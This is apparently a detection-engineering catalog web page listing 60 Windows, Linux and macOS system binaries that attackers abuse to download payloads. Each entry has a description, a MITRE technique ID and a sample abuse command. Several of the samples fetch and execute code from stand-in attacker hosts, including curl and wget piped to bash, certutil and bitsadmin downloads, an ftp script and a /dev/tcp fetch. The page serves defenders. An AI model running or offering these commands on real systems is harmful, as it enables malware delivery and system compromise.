DownloadTactic: Command and Control / Ingress Tool Transfer (TA0011)60 Verified Binaries

Download LOLBins & Ingress Tool Transfer Utilities

Adversaries weaponize trusted operating system binaries to download external payloads, malicious scripts, and stage-2 implants without relying on web browsers or dropping suspicious third-party downloaders.

Detection Engineering Context

Commonly abuses utilities such as certutil.exe, bitsadmin.exe, curl, and powershell to fetch payloads. Ingress downloads frequently trigger outbound network connections from unexpected system processes.

Key Log Telemetry: Sysmon Event ID 1 (Process Create) with URL arguments, Sysmon Event ID 3 (Network Connect), and Web Proxy logs.
Total Capable Binaries: 60
Windows: 57
Linux: 2
macOS: 1

Catalog of Download LOLBins

Displaying 60 items
Windows1 weaponized tactics

certutil.exe

Certutil.exe is a command-line program installed as part of Certificate Services. Attackers frequently abuse it to download arbitrary files from remote URLs, encode/decode Base64 payloads to evade detection, and hash files.

Sample Vector:
certutil.exe -urlcache -split -f http://example.com/payload.exe %TEMP%\update.exe
T1105T1140
Windows1 weaponized tactics

bitsadmin.exe

Background Intelligent Transfer Service (BITS) administrator tool manages asynchronous, throttled background transfers. Attackers use BITS to stage remote downloads that survive reboots and evade conventional network monitoring.

Sample Vector:
bitsadmin.exe /transfer myJob /download /priority foreground http://c2.evil.com/implant.exe C:\Windows\Temp\implant.exe
T1197T1105
Windows1 weaponized tactics

AppInstaller.exe

Tool used for installation of AppX/MSIX applications on Windows 10

Sample Vector:
start ms-appinstaller://?source={REMOTEURL:.exe}
T1105
Windows1 weaponized tactics

CertOC.exe

Used for installing certificates

Sample Vector:
certoc.exe -GetCACAPS {REMOTEURL:.ps1}
T1218T1105
Windows1 weaponized tactics

CertReq.exe

Used for requesting and managing certificates

Sample Vector:
CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}
T1105
Windows1 weaponized tactics

Cmd.exe

The command-line interpreter in Windows

Sample Vector:
type {PATH_SMB} > {PATH_ABSOLUTE}
T1564.004T1059.003T1105
Windows1 weaponized tactics

cmdl32.exe

Microsoft Connection Manager Auto-Download

Sample Vector:
cmdl32 /vpn /lan %cd%\config
T1105
Windows1 weaponized tactics

ConfigSecurityPolicy.exe

Binary part of Windows Defender. Used to manage settings in Windows Defender. You can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.

Sample Vector:
ConfigSecurityPolicy.exe {REMOTEURL}
T1567T1105
Windows1 weaponized tactics

Desktopimgdownldr.exe

Windows binary used to configure lockscreen/desktop image

Sample Vector:
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldr
T1105
Windows1 weaponized tactics

Diantz.exe

Binary that package existing files into a cabinet (.cab) file

Sample Vector:
diantz.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}
T1564.004T1105T1036
Windows1 weaponized tactics

Esentutl.exe

Binary for working with Microsoft Joint Engine Technology (JET) database

Sample Vector:
esentutl.exe /y {PATH_SMB:.source.exe} /d {PATH_SMB:.dest.exe} /o
T1105T1564.004T1003.003
Windows1 weaponized tactics

Expand.exe

Binary that expands one or more compressed files

Sample Vector:
expand {PATH_SMB:.bat} {PATH_ABSOLUTE:.bat}
T1105T1564.004
Windows1 weaponized tactics

Extrac32.exe

Extract to ADS, copy or overwrite a file with Extrac32.exe

Sample Vector:
extrac32 /Y /C {PATH_SMB} {PATH_ABSOLUTE}
T1564.004T1105
Windows1 weaponized tactics

Findstr.exe

Write to ADS, discover, or download files with Findstr.exe

Sample Vector:
findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE:.exe}
T1564.004T1552.001T1105
Windows1 weaponized tactics

Finger.exe

Displays information about a user or users on a specified remote computer that is running the Finger service or daemon

Sample Vector:
finger user@example.host.com | more +2 | cmd
T1105
Windows1 weaponized tactics

Ftp.exe

A binary designed for connecting to FTP servers

Sample Vector:
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
T1202T1105
Windows1 weaponized tactics

Hh.exe

Binary used for processing chm files in Windows

Sample Vector:
HH.exe {REMOTEURL:.bat}
T1105T1218.001
Windows1 weaponized tactics

Ieexec.exe

The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.

Sample Vector:
ieexec.exe {REMOTEURL:.exe}
T1105T1218
Windows1 weaponized tactics

IMEWDBLD.exe

Microsoft IME Open Extended Dictionary Module

Sample Vector:
C:\Windows\System32\IME\SHARED\IMEWDBLD.exe {REMOTEURL}
T1105
Windows1 weaponized tactics

Installutil.exe

The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies

Sample Vector:
InstallUtil.exe {REMOTEURL}
T1218.004T1105
Windows1 weaponized tactics

Ldifde.exe

Creates, modifies, and deletes LDAP directory objects.

Sample Vector:
Ldifde -i -f {PATH:.ldf}
T1105
Windows1 weaponized tactics

Makecab.exe

Binary to package existing files into a cabinet (.cab) file

Sample Vector:
makecab {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}
T1564.004T1105T1036
Windows1 weaponized tactics

Mmc.exe

Load snap-ins to locally and remotely manage Windows systems

Sample Vector:
mmc.exe -Embedding {PATH_ABSOLUTE:.msc}
T1218.014
Windows2 weaponized tactics

MpCmdRun.exe

Binary part of Windows Defender. Used to manage settings in Windows Defender

Sample Vector:
MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}
T1105T1564.004
Windows2 weaponized tactics

Msedge.exe

Microsoft Edge browser

Sample Vector:
msedge.exe {REMOTEURL:.exe.txt}
T1105T1218.015
Windows1 weaponized tactics

msedge_proxy.exe

Microsoft Edge Browser

Sample Vector:
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe {REMOTEURL:.zip}
T1105T1218.015
Windows1 weaponized tactics

msoxmled.exe

Microsoft Office XML Editor, used to handle XML documents in Microsoft Office.

Sample Vector:
msoxmled.exe /verb open {REMOTEURL}
T1105
Windows1 weaponized tactics

Ngen.exe

Microsoft Native Image Generator.

Sample Vector:
ngen.exe {REMOTEURL}
T1105
Windows1 weaponized tactics

OneDriveStandaloneUpdater.exe

OneDrive Standalone Updater

Sample Vector:
OneDriveStandaloneUpdater
T1105
Windows1 weaponized tactics

Presentationhost.exe

File is used for executing Browser applications

Sample Vector:
Presentationhost.exe {REMOTEURL}
T1218T1105
Windows1 weaponized tactics

PrintBrm.exe

Printer Migration Command-Line Tool

Sample Vector:
PrintBrm -b -d {PATH_SMB:folder} -f {PATH_ABSOLUTE:.zip}
T1105T1564.004
Windows1 weaponized tactics

Replace.exe

Used to replace file with another file

Sample Vector:
replace.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:folder} /A
T1105
Windows1 weaponized tactics

winget.exe

Windows Package Manager tool

Sample Vector:
winget.exe install --accept-package-agreements -s msstore {name or ID}
T1105
Windows1 weaponized tactics

Xwizard.exe

Execute custom class that has been added to the registry or download a file with Xwizard.exe

Sample Vector:
xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z{REMOTEURL}
T1218T1105
Windows1 weaponized tactics

PhotoViewer.dll

Windows Photo Viewer

Sample Vector:
rundll32.exe "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll",ImageView_Fullscreen {REMOTEURL}
T1105
Windows1 weaponized tactics

Scrobj.dll

Windows Script Component Runtime

Sample Vector:
rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib {REMOTEURL:.exe}
T1105
Windows1 weaponized tactics

Shimgvw.dll

Photo Gallery Viewer

Sample Vector:
rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe}
T1105
Windows1 weaponized tactics

Bcp.exe

Microsoft SQL Server Bulk Copy Program utility for importing and exporting data between SQL Server instances and data files.

Sample Vector:
bcp "SELECT payload_data FROM database.dbo.payloads WHERE id=1" queryout "C:\Windows\Temp\payload.exe" -S localhost -T -c
T1105
Windows1 weaponized tactics

devtunnel.exe

Binary to enable forwarded ports on windows operating systems.

Sample Vector:
devtunnel.exe host -p 8080
T1105
Windows1 weaponized tactics

ECMangen.exe

Command-line tool for managing certificates in Microsoft Exchange Server.

Sample Vector:
ECMangen.exe {REMOTEURL}
T1105
Windows1 weaponized tactics

Excel.exe

Microsoft Office binary

Sample Vector:
Excel.exe {REMOTEURL}
T1105
Windows1 weaponized tactics

MSAccess.exe

Microsoft Office component

Sample Vector:
MSAccess.exe {REMOTEURL}
T1105
Windows1 weaponized tactics

MsoHtmEd.exe

Microsoft Office component

Sample Vector:
MsoHtmEd.exe {REMOTEURL}
T1105
Windows1 weaponized tactics

Mspub.exe

Microsoft Publisher

Sample Vector:
mspub.exe {REMOTEURL}
T1105
Windows1 weaponized tactics

msxsl.exe

Command line utility used to perform XSL transformations.

Sample Vector:
msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}
T1220T1105T1564
Windows1 weaponized tactics

Outlook.exe

Microsoft Office component

Sample Vector:
Outlook.exe {REMOTEURL}
T1105
Windows1 weaponized tactics

Powerpnt.exe

Microsoft Office binary.

Sample Vector:
Powerpnt.exe {REMOTEURL}
T1105
Windows1 weaponized tactics

ProtocolHandler.exe

Microsoft Office binary

Sample Vector:
ProtocolHandler.exe {REMOTEURL}
T1105
Windows1 weaponized tactics

Squirrel.exe

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Sample Vector:
squirrel.exe --download {REMOTEURL}
T1218
Windows1 weaponized tactics

Update.exe

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Sample Vector:
Update.exe --download {REMOTEURL}
T1218T1547T1070
Windows1 weaponized tactics

Visio.exe

Microsoft Visio Executable

Sample Vector:
Visio.exe {REMOTEURL}
T1105
Windows1 weaponized tactics

VSLaunchBrowser.exe

Microsoft Visual Studio browser launcher tool for web applications debugging

Sample Vector:
VSLaunchBrowser.exe .exe {REMOTEURL:.exe}
T1105T1127
Windows1 weaponized tactics

WinProj.exe

Microsoft Project Executable

Sample Vector:
WinProj.exe {REMOTEURL}
T1105
Windows1 weaponized tactics

Winword.exe

Microsoft Office binary

Sample Vector:
winword.exe {REMOTEURL}
T1105
Windows1 weaponized tactics

Wsl.exe

Windows subsystem for Linux executable

Sample Vector:
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
T1202T1105T1218
Windows1 weaponized tactics

xsd.exe

XML Schema Definition Tool included with the Windows Software Development Kit (SDK).

Sample Vector:
xsd.exe {REMOTEURL}
T1105
Windows1 weaponized tactics

GfxDownloadWrapper.exe

Remote file download used by the Intel Graphics Control Panel, receives as first parameter a URL and a destination file path.

Sample Vector:
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
T1105
Linux2 weaponized tactics

curl

Curl is a tool to transfer data from or to a server using supported protocols (HTTP, HTTPS, FTP, etc.). Attackers leverage curl to download malicious second-stage scripts and pipe directly into bash or sh for fileless in-memory execution.

Sample Vector:
curl -fsSL https://attacker.c2/setup.sh | bash
T1105T1059.004
Linux1 weaponized tactics

wget

GNU Wget is a non-interactive network downloader. Attackers abuse wget to retrieve remote tools, exfiltrate data via POST requests, and execute downloaded scripts.

Sample Vector:
wget -q -O - http://attacker.domain/installer.sh | sh
T1105
macOS1 weaponized tactics

curl

Curl is standard on macOS and frequently invoked in bash/zsh shell scripts by macOS stealers (e.g. Atomic macOS Stealer / AMOS) to fetch stage 2 Mach-O executables or exfiltrate keychain data.

Sample Vector:
curl -s -L -o /tmp/.stage2 https://c2.macos-stealer.com/loader && chmod +x /tmp/.stage2 && /tmp/.stage2
T1105
Sharon Ben Moshe
Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection EngineerCheck Point